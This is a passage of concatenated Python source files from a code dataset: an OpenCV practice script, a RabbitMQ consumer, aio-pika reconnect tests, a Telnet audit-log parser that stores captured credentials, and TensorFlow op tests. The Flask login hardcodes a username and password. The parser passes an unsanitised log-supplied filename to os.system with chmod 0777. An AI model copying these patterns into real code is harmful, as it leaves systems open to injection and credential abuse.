bitów\n data_bin, _ = gen_trans_err(data_bin, trans_err)\n\n # Wyświetlenie zakłóconego obrazu\n distorted_img = bin_to_img(demultiple_bits(data_bin, multiple_by), size)\n show_img(distorted_img)\n\n # Naprawa błędów\n fixed_data = demultiple_bits(fix_multiple_bits(data_bin, multiple_by), multiple_by)\n bin_after = fixed_data\n\n # Wyświetlenie naprawionego obrazu\n fixed_img = bin_to_img(fixed_data, size)\n show_img(fixed_img)\n\n print('Liczba bitow niezgodnych z oryginalnym obrazem: ' + str(bin_diff(bin_before, bin_after)))\n\nif __name__ == '__main__':\n signal.signal(signal.SIGINT, signal_handler)\n signal.signal(signal.SIGTERM, signal_handler)\n if len(argv) > 1:\n if argv[1] == 'test':\n test()\n else:\n print('Invalid argument')\n else:\n main()\n","sub_path":"triple_seq.py","file_name":"triple_seq.py","file_ext":"py","file_size_in_byte":3111,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"424221729","text":"import logging\nimport json\nfrom time import sleep\n\nimport pika\nfrom pika.exceptions import AMQPConnectionError\n\n\nclass SinkDirectQueue:\n def _connect_to_rabbit(self):\n retry_connecting = True\n while retry_connecting:\n try:\n self._connection = pika.BlockingConnection(\n pika.ConnectionParameters(host='rabbitmq', heartbeat=10000, blocked_connection_timeout=5000)\n )\n retry_connecting = False\n except AMQPConnectionError:\n sleep(2)\n logging.info(\"Retrying connection to rabbit...\")\n except OSError:\n sleep(2)\n logging.info(\"Retrying connection to rabbit...\")\n\n def __init__(self, data_queue, final_results_queue, metric_name, push_metrics_barrier):\n self._connect_to_rabbit()\n self._channel = self._connection.channel()\n self._data_queue = data_queue\n self._channel.queue_declare(data_queue)\n self._final_results_queue = final_results_queue\n self._channel.queue_declare(final_results_queue)\n self._metric_name = metric_name\n self._push_metrics_barrier = push_metrics_barrier\n\n def _process_data(self, ch, method, properties, body):\n data = json.loads(body.decode('utf-8'))\n if 'data' in data:\n logging.info(\"Received results for metric: {}\".format(self._metric_name))\n self._push_metrics_barrier.wait()\n self._channel.basic_publish(\n exchange='',\n routing_key=self._final_results_queue,\n body=bytes(json.dumps({self._metric_name: data['data']}), encoding='utf-8'),\n properties=pika.BasicProperties(delivery_mode=2)\n )\n\n def start(self):\n self._channel.basic_consume(queue=self._data_queue, on_message_callback=self._process_data)\n self._channel.start_consuming()\n","sub_path":"sink/sink_direct_queue.py","file_name":"sink_direct_queue.py","file_ext":"py","file_size_in_byte":1932,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"363371070","text":"import cv2\nimport numpy as np\n\ndef show(image):\n cv2.imshow(\"image\", image)\n cv2.waitKey()\n\nimage1 = cv2.imread('C:\\\\Users\\\\UNIST\\\\Desktop\\\\sample.png')\n# 다른 컴에서 할 때 적당히 경로 바꿔서 ㄱㄱ\n\nprint(image1.size) # size (byte 단위)\nprint(image1.shape) # (height, width, channel(BGR))\nprint(image1.dtype) # data type\n\ncv2.imwrite('C:\\\\Users\\\\UNIST\\\\Desktop\\\\sample2.png', image1)\n# 저장 디렉터리, image object 순서. image object를 파일로 저장함\n\n# pixel 단위의 change\nimage1[20, 100] = (255, 255, 255)\n# BGR order임에 주의\n# x, y도 height, width 순서\ncv2.imshow(\"Image\", image1)\n\ncv2.waitKey()\n# 키 입력 대기.\n\nimage1[10:50, 10:50] = (0, 0, 0)\ncv2.imshow(\"Image\", image1)\ncv2.waitKey(0)\n# ms 단위로 기다림\n\ncv2.imwrite('C:\\\\Users\\\\UNIST\\\\Desktop\\\\sample3.png', image1)\n# 모든 창을 닫으려면\n# cv2.destroyallwindows()\n\nimage2 = cv2.imread('C:\\\\Users\\\\UNIST\\\\Desktop\\\\sample.png', cv2.IMREAD_GRAYSCALE)\ncv2.imshow(\"Image\", image2)\ncv2.waitKey(0)\n\n\ntemp_image = image2[0:, 0:100]\nimage2[0:, 100:200] = temp_image\ncv2.imshow(\"Image\", image2)\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n\nimage3 = cv2.resize(image1, (250, 200), interpolation=cv2.INTER_AREA)\n# image, manual size, x portion, y portion, interpolation\nshow(image3)\n\nimage4 = cv2.resize(image1, None, fx=0.4, fy=0.4)\nshow(image4)\n\nimage5 = cv2.flip(image1, 0)\n# 0 : x축 flip, 1 : y축 flip, -1 : x,y flip\nshow(image5)\n\n# 그리기\nimg1 = np.zeros((256,256,3), np.uint8)\ngreen = (0,255,0)\nred = (0,0,255)\nblue = (255,0,0)\nblack = (0,0,0)\nwhite = (255,255,255)\n\ncv2.circle(img1, (100,100), radius=25, color=red, thickness=3)\ncv2.line(img1, (30,30), (30, 240), color=white, thickness=2)\ncv2.rectangle(img1, (50,50), (70,70), color=blue)\nshow(img1)\n\n# Affine 변환\n# transition\ntx = 30\nty = 40\naffine_transition = np.float32([[1,0,tx], [0,1,ty]])\nimg2 = cv2.warpAffine(img1, affine_transition, (img1.shape[0],img1.shape[1]))\nshow(img2)\n\n# rotation\nangle = 45\nrx = img1.shape[1]\nry = img2.shape[0]\nMatrixForRot = cv2.getRotationMatrix2D((rx//2,ry//2), 45, 1)\nimg3 = cv2.warpAffine(img2, MatrixForRot, (rx,ry))\nshow(img3)\n\n# 임계점 처리\nimg4 = cv2.imread('C:\\\\Users\\\\UNIST\\\\Desktop\\\\sample.png', cv2.IMREAD_GRAYSCALE)\nthr1 = cv2.threshold(img4, 127, 255, cv2.THRESH_BINARY)\n# 임계값보다 크면 max_val, else 0\nthr2 = cv2.threshold(img4, 127, 255, cv2.THRESH_BINARY_INV)\n# 임계값보다 작으면 max_val, else 0\n''' Flags for Threshold\nTHRESH_TRUC : 임계값보다 작으면 임계값, else 그대로\nTHRESH_TOZERO : 임계값보다 작으면 0, else 그대로\nTHRESH_TOZERO_INV : 임계값보다 크면 0, else 그대로 '''\n\nshow(thr1[1])\n# threshold는 (ret, image) 순서쌍을 return한다.\n","sub_path":"Practice_01.py","file_name":"Practice_01.py","file_ext":"py","file_size_in_byte":2729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"311028021","text":"def jarjesta_pisteiden_mukaan(alkiot: list):\n\n def pisteet(alkio: dict):\n return alkio['pisteet']\n\n return sorted(alkiot, key=pisteet, reverse=True)\n\n\nif __name__ == '__main__':\n\n sarjat = [\n {\"nimi\": \"Dexter\", \"pisteet\": 8.6, \"kausia\": 9},\n {\"nimi\": \"Friends\", \"pisteet\": 8.9, \"kausia\": 10},\n {\"nimi\": \"Simpsons\", \"pisteet\": 8.7, \"kausia\": 32}\n ]\n\n print(\"IMDB:n mukainen pistemäärä\")\n for sarja in jarjesta_pisteiden_mukaan(sarjat):\n print(f\"{sarja['nimi']} {sarja['pisteet']}\")\n","sub_path":"osa12-03_pisteiden_mukaan/src/pisteiden_mukaan.py","file_name":"pisteiden_mukaan.py","file_ext":"py","file_size_in_byte":538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"417728238","text":"''' Define hard coded login resource '''\nfrom flask_restful import Resource, reqparse\nfrom flask_jwt_extended import create_access_token\n\nclass Login(Resource):\n ''' Class for hard coded login '''\n parser = reqparse.RequestParser()\n parser.add_argument('body',\n type=str,\n required=True,\n help=\"Login must contain a body.\"\n )\n\n def post(self, login):\n ''' Get method for rest api '''\n request_data = Login.parser.parse_args()\n if login == 'Rick' and request_data['body'] == 'test123':\n access_token = create_access_token(identity=login, fresh=True)\n return {\n 'access_token': access_token\n }, 200\n else:\n return {\n 'access_token': 'no_auth'\n }\n","sub_path":"api_code/code/resources/login.py","file_name":"login.py","file_ext":"py","file_size_in_byte":860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"141500021","text":"import asyncio\nimport logging\nfrom contextlib import suppress\nfrom functools import partial\nfrom typing import Callable\n\nimport pytest\n\nimport aio_pika\nimport aiormq.exceptions\nimport shortuuid\nfrom aio_pika.message import Message\nfrom aio_pika.robust_channel import RobustChannel\nfrom aio_pika.robust_connection import RobustConnection\nfrom aio_pika.robust_queue import RobustQueue\nfrom async_generator import async_generator, yield_\nfrom tests import get_random_name\n\n\nclass Proxy:\n CHUNK_SIZE = 1500\n\n def __init__(\n self, *, loop, shost=\"127.0.0.1\", sport, dhost=\"127.0.0.1\", dport\n ):\n\n self.loop = loop\n\n self.src_host = shost\n self.src_port = sport\n self.dst_host = dhost\n self.dst_port = dport\n self.connections = set()\n\n async def _pipe(\n self, reader: asyncio.StreamReader, writer: asyncio.StreamWriter\n ):\n try:\n while not reader.at_eof():\n writer.write(await reader.read(self.CHUNK_SIZE))\n finally:\n writer.close()\n\n async def handle_client(\n self, creader: asyncio.StreamReader, cwriter: asyncio.StreamWriter\n ):\n sreader, swriter = await asyncio.open_connection(\n host=self.dst_host, port=self.dst_port,\n )\n\n self.connections.add(swriter)\n self.connections.add(cwriter)\n\n await asyncio.gather(\n self._pipe(sreader, cwriter), self._pipe(creader, swriter),\n )\n\n async def start(self):\n return await asyncio.start_server(\n self.handle_client, host=self.src_host, port=self.src_port,\n )\n\n async def disconnect(self, wait=True):\n tasks = list()\n\n async def close(writer):\n writer.close()\n await asyncio.gather(writer.drain(), return_exceptions=True)\n\n while self.connections:\n writer = self.connections.pop() # type: asyncio.StreamWriter\n tasks.append(self.loop.create_task(close(writer)))\n\n if wait and tasks:\n await asyncio.gather(*tasks, return_exceptions=True)\n\n\n@pytest.fixture\ndef amqp_url(amqp_direct_url, proxy: Proxy):\n return (\n amqp_direct_url.with_host(proxy.src_host)\n .with_port(proxy.src_port)\n .update_query(reconnect_interval=1)\n )\n\n\n@pytest.fixture\ndef proxy_port(aiomisc_unused_port_factory) -> int:\n return aiomisc_unused_port_factory()\n\n\n@pytest.fixture\n@async_generator\nasync def proxy(loop, amqp_direct_url, proxy_port, add_cleanup):\n p = Proxy(\n dhost=amqp_direct_url.host,\n dport=amqp_direct_url.port,\n sport=proxy_port,\n loop=loop,\n )\n\n await p.start()\n\n try:\n await yield_(p)\n finally:\n await p.disconnect()\n\n\n@pytest.fixture(scope=\"module\")\ndef connection_fabric():\n return aio_pika.connect_robust\n\n\n@pytest.fixture\ndef create_direct_connection(loop, amqp_direct_url):\n return partial(aio_pika.connect, amqp_direct_url, loop=loop)\n\n\n@pytest.fixture\ndef create_connection(connection_fabric, loop, amqp_url):\n return partial(connection_fabric, amqp_url, loop=loop)\n\n\nasync def test_channel_fixture(channel: aio_pika.RobustChannel):\n assert isinstance(channel, aio_pika.RobustChannel)\n\n\nasync def test_connection_fixture(connection: aio_pika.RobustConnection):\n assert isinstance(connection, aio_pika.RobustConnection)\n\n\ndef test_amqp_url_is_not_direct(amqp_url, amqp_direct_url):\n assert amqp_url != amqp_direct_url\n\n\nasync def test_set_qos(channel: aio_pika.Channel):\n await channel.set_qos(prefetch_count=1)\n\n\nasync def test_revive_passive_queue_on_reconnect(create_connection):\n client1 = await create_connection()\n assert isinstance(client1, RobustConnection)\n\n client2 = await create_connection()\n assert isinstance(client2, RobustConnection)\n\n reconnect_event = asyncio.Event()\n reconnect_count = 0\n\n def reconnect_callback(sender, conn):\n nonlocal reconnect_count\n reconnect_count += 1\n reconnect_event.set()\n reconnect_event.clear()\n\n client2.add_reconnect_callback(reconnect_callback)\n\n queue_name = get_random_name()\n channel1 = await client1.channel()\n assert isinstance(channel1, RobustChannel)\n\n channel2 = await client2.channel()\n assert isinstance(channel2, RobustChannel)\n\n queue1 = await channel1.declare_queue(\n queue_name, auto_delete=False, passive=False,\n )\n assert isinstance(queue1, RobustQueue)\n\n queue2 = await channel2.declare_queue(queue_name, passive=True)\n assert isinstance(queue2, RobustQueue)\n\n await client2.connection.close(aiormq.AMQPError(320, \"Closed\"))\n\n await reconnect_event.wait()\n\n assert reconnect_count == 1\n\n with suppress(asyncio.TimeoutError):\n await asyncio.wait_for(\n reconnect_event.wait(), client2.reconnect_interval * 2,\n )\n\n assert reconnect_count == 1\n\n\n@pytest.mark.skip(\"Temporary skipped flapping test\")\nasync def test_robust_reconnect(\n create_connection, proxy: Proxy, loop, add_cleanup: Callable\n):\n conn1 = await create_connection()\n conn2 = await create_connection()\n\n assert isinstance(conn1, aio_pika.RobustConnection)\n assert isinstance(conn2, aio_pika.RobustConnection)\n\n async with conn1, conn2:\n\n channel1 = await conn1.channel()\n channel2 = await conn2.channel()\n\n assert isinstance(channel1, aio_pika.RobustChannel)\n assert isinstance(channel2, aio_pika.RobustChannel)\n\n async with channel1, channel2:\n shared = []\n\n # Declaring temporary queue\n queue = await channel1.declare_queue()\n\n async def reader(queue_name):\n nonlocal shared\n queue = await channel1.declare_queue(\n name=queue_name, passive=True,\n )\n async with queue.iterator() as q:\n async for message in q:\n shared.append(message)\n await message.ack()\n\n reader_task = loop.create_task(reader(queue.name))\n\n for i in range(5):\n await channel2.default_exchange.publish(\n Message(str(i).encode()), queue.name,\n )\n\n logging.info(\"Disconnect all clients\")\n await proxy.disconnect()\n\n with pytest.raises((ConnectionResetError, ConnectionError)):\n await asyncio.gather(conn1.channel(), conn2.channel())\n\n logging.info(\"Waiting reconnect\")\n await asyncio.sleep(conn1.reconnect_interval * 2)\n\n logging.info(\"Waiting connections\")\n await asyncio.wait_for(\n asyncio.gather(conn1.ready(), conn2.ready()), timeout=20,\n )\n\n for i in range(5, 10):\n await channel2.default_exchange.publish(\n Message(str(i).encode()), queue.name,\n )\n\n while len(shared) < 10:\n await asyncio.sleep(0.1)\n\n assert len(shared) == 10\n\n reader_task.cancel()\n await asyncio.gather(reader_task, return_exceptions=True)\n\n\nasync def test_channel_locked_resource2(connection: aio_pika.RobustConnection):\n ch1 = await connection.channel()\n ch2 = await connection.channel()\n\n qname = get_random_name(\"channel\", \"locked\", \"resource\")\n\n q1 = await ch1.declare_queue(qname, exclusive=True, robust=False)\n await q1.consume(print, exclusive=True)\n\n with pytest.raises(aiormq.exceptions.ChannelAccessRefused):\n q2 = await ch2.declare_queue(qname, exclusive=True, robust=False)\n await q2.consume(print, exclusive=True)\n\n\nasync def test_channel_close_when_exclusive_queue(\n create_connection, create_direct_connection, proxy: Proxy, loop\n):\n direct_conn, proxy_conn = await asyncio.gather(\n create_direct_connection(), create_connection(),\n )\n\n direct_channel, proxy_channel = await asyncio.gather(\n direct_conn.channel(), proxy_conn.channel(),\n )\n\n qname = get_random_name(\"robust\", \"exclusive\", \"queue\")\n\n proxy_queue = await proxy_channel.declare_queue(\n qname, exclusive=True, durable=True,\n )\n\n logging.info(\"Disconnecting all proxy connections\")\n await proxy.disconnect(wait=True)\n await asyncio.sleep(0.5)\n\n logging.info(\"Declaring exclusive queue through direct channel\")\n await direct_channel.declare_queue(qname, exclusive=True, durable=True)\n\n async def close_after(delay, closer):\n await asyncio.sleep(delay)\n await closer()\n logging.info(\"Closed\")\n\n await loop.create_task(close_after(5, direct_conn.close))\n await proxy_conn.connected.wait()\n await proxy_queue.delete()\n\n\nasync def test_context_process_abrupt_channel_close(\n connection: aio_pika.RobustConnection,\n declare_exchange: Callable,\n declare_queue: Callable,\n):\n # https://github.com/mosquito/aio-pika/issues/302\n queue_name = get_random_name(\"test_connection\")\n routing_key = get_random_name(\"rounting_key\")\n\n channel = await connection.channel()\n exchange = await declare_exchange(\n \"direct\", auto_delete=True, channel=channel,\n )\n queue = await declare_queue(queue_name, auto_delete=True, channel=channel)\n\n await queue.bind(exchange, routing_key)\n body = bytes(shortuuid.uuid(), \"utf-8\")\n\n await exchange.publish(\n Message(body, content_type=\"text/plain\", headers={\"foo\": \"bar\"}),\n routing_key,\n )\n\n incoming_message = await queue.get(timeout=5)\n # close aiormq channel to emulate abrupt connection/channel close\n await channel.channel.close()\n with pytest.raises(aiormq.exceptions.ChannelInvalidStateError):\n async with incoming_message.process():\n # emulate some activity on closed channel\n await channel.channel.basic_publish(\n \"dummy\", exchange=\"\", routing_key=\"non_existent\",\n )\n\n # emulate connection/channel restoration of connect_robust\n await channel.reopen()\n\n # cleanup queue\n incoming_message = await queue.get(timeout=5)\n async with incoming_message.process():\n pass\n await queue.unbind(exchange, routing_key)\n","sub_path":"tests/test_amqp_robust_proxy.py","file_name":"test_amqp_robust_proxy.py","file_ext":"py","file_size_in_byte":10194,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"353763120","text":"#!/usr/bin/env python\n# coding=utf-8\n\nimport os\nimport json\nimport time\nfrom LogProcessor import LogProcessor\nfrom LogCounter import LogCount, LOG_COUNT_MIN\nfrom adutils.AcEngine import AcEngine\nfrom adutils.audit_utils import timestr_to_timestamp, get_scc\nfrom adutils.audit_logger import ADLOG_DEBUG, ADLOG_INFO, ADLOG_ERR\n\ncommon_keys = ['sAppProto', 'iDate', 'sSrcMac', 'sSrcIP', 'iSrcPort',\n 'sDstMac', 'sDstIP', 'iDstPort', 'sUser', 'sDept',\n 'sScc', 'sSccFlag',\n 'sUserName', 'sPassword', 'sAction', 'sFilename', 'sDeviceID']\n\nappend_keys = ['sAlertDetail', 'sAlertKeyword']\n\nbackquote_list = lambda x: ','.join(['`' + i + '`' for i in x])\nload_sql = \"\"\"load data infile \"{inf}\" into table `{tb}` character set utf8\n fields terminated by '\\t' lines terminated by '\\n'\n (%s);\"\"\"\nLOAD_SQL_GEN = lambda :load_sql % (backquote_list(common_keys))\nLOAD_SQL_GEN_A = lambda :load_sql % (backquote_list(common_keys + append_keys))\n\n\nclass TelnetLogProcessor(LogProcessor):\n def __init__(self, _type='telnet', load_sql=LOAD_SQL_GEN()):\n super(TelnetLogProcessor, self).__init__(TYPE=_type, LOAD=load_sql)\n\nTelnetLog = TelnetLogProcessor()\nTelnetOverseasLog = TelnetLogProcessor('telnet_overseas')\nTelnetAlertLog = TelnetLogProcessor('alert_telnet', load_sql=LOAD_SQL_GEN_A())\n\n\nclass TelnetParser(object):\n def __init__(self):\n super(TelnetParser, self).__init__()\n\n def parser_line(self, line, user_detail=None, ac_search=None, rlist=None):\n try:\n log = json.loads(line)\n except Exception as e:\n ADLOG_ERR('telnet_parser:load json errror[%s]' % e)\n ADLOG_ERR(line)\n return None, None, None\n\n # app type\n app_name = log['AppProto']\n # time\n log_time = timestr_to_timestamp(log['Date'])\n log_min = log_time - (log_time % LOG_COUNT_MIN)\n # log_time = str(log_time)\n # source mac\n smac = log['SrcMac']\n # source ip\n sip = log['SrcIP']\n # source port\n sport = str(log['SrcPort'])\n\n if user_detail is not None and sip in user_detail:\n # user= user_detail[sip][0]\n # dept = user_detail[sip][1]\n user, dept = user_detail[sip]\n else:\n user= 'Anonymous'\n dept = 'Anonymous'\n\n # destination mac\n dmac = log['DstMac']\n # destination ip\n dip = log['DstIP']\n # destination port\n dport = str(log['DstPort'])\n\n # scc and scc_flag\n scc ,scc_flag, overseas = get_scc(dip)\n\n username = log['UserName'] or ''\n password = log['PassWord'] or ''\n action = log['Action'] or ''\n filename = log['FileName'] or ''\n\n # telnet file process\n if filename != '':\n if os.path.exists(filename):\n os.system('chmod 0777 %s' % filename)\n # tmpfile = filename + '.tmp'\n # newfile = filename.split('.')[0] + '_new' + filename.split('.')[1]\n # ADLOG_DEBUG('print filename content')\n # with open(filename, 'r') as fp:\n # for l in fp.readlines():\n # ADLOG_DEBUG(l)\n # ADLOG_DEBUG('print filename content done')\n # os.system('/usr/local/bin/iconv -f GB2312 -t UTF-8 {inf} > {of}'.format(inf=filename, of=tmpfile))\n # ADLOG_DEBUG('/usr/local/bin/iconv -f GB2312 -t UTF-8 {inf} > {of}'.format(inf=filename, of=tmpfile))\n # os.system('/usr/bin/filt -T {inf} > {of}'.format(inf=tmpfile, of=filename))\n # ADLOG_DEBUG('/usr/bin/filt -T {inf} > {of}'.format(inf=tmpfile, of=filename))\n\n device_id = log.get('device_id', '-')\n res = [app_name, str(log_time), smac, sip, sport, dmac, dip, dport, user, dept,\n scc, str(scc_flag),\n username, password, action, filename, device_id]\n\n # alert function\n ac_ret = None\n if ac_search is not None and rlist is not None:\n ret = {}\n _all_keywords = []\n if filename:\n # search filename\n ret['filename'] = ac_search(log, 0, AcEngine.TYPE_FILE_NAME,\n filename, sip, rlist)\n _all_keywords.extend(ret['filename'])\n ret['file_content'] = ac_search(log, 0, AcEngine.TYPE_FILE_CONTENT,\n filename, sip, rlist)\n _all_keywords.extend(ret['file_content'])\n\n if _all_keywords:\n _js = json.dumps(ret, encoding=\"UTF-8\", ensure_ascii=False)\n ac_ret = '\\t'.join(res) + '\\t' + _js + '\\t' + '#' + '#'.join(_all_keywords)\n\n for kw in _all_keywords:\n LogCount([log_min, 'telnet', 'alert', sip, user, dept, kw,\n int(overseas), device_id]).send_count()\n else:\n LogCount([log_min, 'telnet', 'audit', sip, user, dept, '-',\n int(overseas), device_id]).send_count()\n # print ac_ret\n\n return '\\t'.join(res), overseas, ac_ret\n","sub_path":"chuhuo_2.71/bluedon/LogParser/TelnetParser.py","file_name":"TelnetParser.py","file_ext":"py","file_size_in_byte":5253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"17808171","text":"import os\n\nimport tensorflow as tf\nfrom scipy.interpolate import interp2d\nfrom tensorflow.python.framework import constant_op\nfrom tensorflow.python.ops import gradient_checker\nimport numpy as np\n\nimport libs\nfrom tests.utils_test import GlobalConfiguration\nfrom utils import visualize\n\n\nclass SamplingOpsTest(tf.test.TestCase):\n \"\"\"\n Sampling 2D tests contain variable ops, relating to 2D sampling\n \"\"\"\n def _bilinearInterpolation(self, device, x_shape, interp_size):\n with self.test_session(force_gpu=device, use_gpu=device) as sess:\n x = constant_op.constant(0, shape=x_shape, dtype=tf.float32)\n x_ops = tf.identity(x)\n y = libs.interpolation_bilinear_2d(x_ops, interp_size, False)\n return x, y, sess\n\n @staticmethod\n def _reference_bilinear(sampled_object, interp_size):\n batch_res = []\n sampled_size = sampled_object.shape[1:-1]\n interp_y = np.arange(0, interp_size[0]) / (interp_size[0] - 1)\n interp_x = np.arange(0, interp_size[1]) / (interp_size[1] - 1)\n sampled_x = np.arange(0, sampled_size[1]) / (sampled_size[1] - 1)\n sampled_y = np.arange(0, sampled_size[0]) / (sampled_size[0] - 1)\n for batch in np.split(sampled_object, sampled_object.shape[0], axis=0):\n channel_res = []\n for channel in np.split(batch, batch.shape[-1], axis=-1):\n channel_sampled = np.reshape(channel, channel.shape[1:-1])\n interpolated_func = interp2d(sampled_x, sampled_y, channel_sampled)\n interpolated = interpolated_func(interp_x, interp_y)\n interpolated = np.reshape(interpolated, interp_size)\n channel_res.append(interpolated)\n batch_res.append(np.stack(channel_res, axis=-1))\n return np.stack(batch_res, axis=0)\n\n @staticmethod\n def _reference_flooring(sampled_feat, interp_size):\n pass\n\n @staticmethod\n def _reference_average(sampled_feat, interp_size):\n pass\n\n def testInterpolation2DBilinear(self):\n if GlobalConfiguration.INDIVIDUAL_TEST:\n self.skipTest('Skip Bilinear Interpolation Test...')\n test_case = np.random.rand(2, 60, 80, 3).astype(np.float32)\n interpolated_size = [480, 640]\n reference = self._reference_bilinear(test_case, interpolated_size)\n x, y, sess = self._bilinearInterpolation(True, test_case.shape, interpolated_size)\n device_results = y.eval(session=sess, feed_dict={x: test_case})\n self.assertAllClose(reference, device_results, atol=1e-5)\n\n def testInterpolation2DBilinearGrad(self):\n if GlobalConfiguration.INDIVIDUAL_TEST:\n self.skipTest('Skip Bilinear Interpolation Test...')\n sampled_size = [2, 2, 3, 2]\n interpolated_size = [2, 4, 6, 2]\n x, y, sess = self._bilinearInterpolation(True, sampled_size, interpolated_size[1:-1])\n with sess:\n error = gradient_checker.compute_gradient(x, sampled_size, y, interpolated_size)\n self.assertAllClose(error[0], error[1], atol=1e-4)\n\n def testInterpolation2DFlooring(self):\n if GlobalConfiguration.INDIVIDUAL_TEST:\n self.skipTest('Skip Interpolation 2D --> Flooring Test')\n # TODO: Add tests here\n return\n\n def testInterpolation2DFlooringGrad(self):\n if GlobalConfiguration.INDIVIDUAL_TEST:\n self.skipTest('Skip Interpolation 2D Gradient --> Flooring Test')\n # TODO: Add tests here\n return\n\n def testInterpolation2DAverage(self):\n if GlobalConfiguration.INDIVIDUAL_TEST:\n self.skipTest('Skip Interpolation 2D --> Average Test')\n # TODO: Add tests here\n return\n\n def testInterpolation2DAverageGrad(self):\n if GlobalConfiguration.INDIVIDUAL_TEST:\n self.skipTest('Skip Interpolation 2D Gradient --> Average Test')\n # TODO: Add tests here\n return\n\n\nclass ProjectionOpsTest(tf.test.TestCase):\n \"\"\"\n Projection ops test, including forward and reverse porjection\n \"\"\"\n def _ForwardProjection(self, batch_size, image_shape=None, vox_shape=None):\n if image_shape is None:\n image_shape = [480, 640]\n if vox_shape is None:\n vox_shape = [240, 144, 240]\n batch_image_shape = [batch_size, ] + image_shape\n with self.test_session() as sess:\n depth = constant_op.constant(0, dtype=tf.float32, shape=batch_image_shape + [1, ])\n scene_info = constant_op.constant(0, dtype=tf.float32, shape=[batch_size, 30])\n img_vox_map, img_proj_pos, vox_occupied = libs.img2vol_forward_projection(depth, scene_info, vox_shape)\n return [depth, scene_info], [img_vox_map, img_proj_pos, vox_occupied], sess\n\n def _ForwardProjectionPointsSet(self, points, vox_shape=None):\n if vox_shape is None:\n vox_shape = [240, 144, 240]\n with self.test_session() as sess:\n points = constant_op.constant(0, dtype=tf.float32, shape=[1, points, 3])\n scene_info = constant_op.constant(0, dtype=tf.float32, shape=[1, 30])\n vox_origin, camera_pose, vox_unit, _ = tf.split(scene_info, [3, 16, 2, 9], axis=-1)\n pnt_proj_map, vox_occupied = libs.forward_projection(points, camera_pose, vox_unit, vox_origin, vox_shape)\n return [points, scene_info], [pnt_proj_map, vox_occupied], sess\n\n def _ViewVolumeReverseProjection(self, batch_size, image_shape, feat_shape, vox_shape):\n if image_shape is None:\n image_shape = [480, 640]\n if vox_shape is None:\n vox_shape = [240, 144, 240]\n if feat_shape is None:\n feat_shape = image_shape\n with self.test_session() as sess:\n depth = constant_op.constant(0, dtype=tf.float32, shape=[batch_size, ] + image_shape + [1, ])\n feat = constant_op.constant(0, dtype=tf.float32, shape=[batch_size, ] + feat_shape + [1, ])\n scene_info = constant_op.constant(0, dtype=tf.float32, shape=[batch_size, 30])\n outputs = libs.view_volume_reverse_projection(depth, feat, scene_info, vox_shape, test_mode=True)\n return [depth, scene_info, feat], outputs, sess\n\n def testForwardProjection(self):\n \"\"\"\n Forward projection test -- casting image into volume\n :return:\n \"\"\"\n if GlobalConfiguration.INDIVIDUAL_TEST:\n self.skipTest('Skip Projection Op -- Forward Projection Test')\n image_size = [480, 640]\n vox_size = [30, 18, 30]\n batch_size = 2\n samples = GlobalConfiguration.read_test_data(batch_size, 8)\n inputs, outputs, sess = self._ForwardProjection(batch_size, image_size, vox_size)\n feed_dict = {inputs[0]: samples[0], inputs[1]: samples[2]}\n outputs = sess.run(outputs, feed_dict=feed_dict)\n cur_index = 0\n for img_vox_map, img_proj_pos, vox_occupied in zip(*outputs):\n # img_vox_map & vox_occupied cross validation\n vox_vox_occupied = np.reshape(vox_occupied, newshape=[-1])\n img_vox_indices, img_vox_counts = np.unique(img_vox_map, return_counts=True)\n img_vox_counts = np.delete(img_vox_counts, np.where(img_vox_indices == -1), axis=0)\n img_vox_indices = np.delete(img_vox_indices, np.where(img_vox_indices == -1), axis=0)\n img_vox_indices = img_vox_indices.astype(np.uint32)\n vox_indices = np.argwhere(vox_vox_occupied > 0)\n self.assertTrue(np.array_equal(img_vox_indices, np.reshape(vox_indices, newshape=[-1])))\n self.assertTrue(np.array_equal(img_vox_counts, np.reshape(vox_vox_occupied[vox_indices], newshape=[-1])))\n # img_proj_pos visual validation\n img_proj_pos = img_proj_pos[img_proj_pos[:, :, 2] > 0]\n img_proj_pos = img_proj_pos / 0.02\n img_proj_pos = img_proj_pos - np.min(img_proj_pos, axis=0)\n bins = np.ceil(np.max(img_proj_pos, axis=0))\n hist, _ = np.histogramdd(img_proj_pos, bins=bins)\n if os.path.exists(GlobalConfiguration.Visualization_Dir):\n saving_dir = os.path.join(GlobalConfiguration.Visualization_Dir, 'forward_projection')\n if not os.path.exists(saving_dir):\n os.mkdir(saving_dir)\n vis_model_path = os.path.join(saving_dir, 'camera_pose_view_%d' % cur_index)\n hist = np.expand_dims(hist, axis=-1)\n sparse_indices, _ = visualize.cond_sparse_represent(hist, lambda x: x > 0, color_norm=False)\n visualize.sparse_vox2ply(sparse_indices, hist.shape[:-1], name=vis_model_path)\n vis_model_path = os.path.join(saving_dir, 'volume_pose_view_%d' % cur_index)\n visualize.sparse_vox2ply(np.expand_dims(img_vox_indices, axis=-1), vox_size,\n 1, np.expand_dims(img_vox_counts, axis=-1), face=True, name=vis_model_path)\n cur_index += 1\n\n def testViewVolumeReverseProjection(self):\n \"\"\"\n View Volume Reverse Projection Test -- cast 2d feats into 3d volume\n :return:\n \"\"\"\n if GlobalConfiguration.INDIVIDUAL_TEST:\n self.skipTest('Skip Projection Op -- Forward Projection Test')\n image_size = [480, 640]\n feat_size = [120, 160]\n vox_size = [240, 144, 240]\n batch_size = 2\n samples = GlobalConfiguration.read_test_data(batch_size, 1)\n inputs, outputs, sess = self._ViewVolumeReverseProjection(batch_size, image_size, feat_size, vox_size)\n feed_dict = {inputs[0]: samples[0], inputs[1]: samples[2], inputs[2]: np.random.rand(batch_size, *feat_size, 1)}\n _, intermediate = outputs\n results = sess.run(intermediate, feed_dict=feed_dict)\n cur_index = 0\n for result in zip(*results, samples[2]):\n vox_proj_pos, _, _, _, scene_info = result\n scene_info = np.expand_dims(scene_info, 0)\n inputs_fp, outputs_fp, sess_fp = 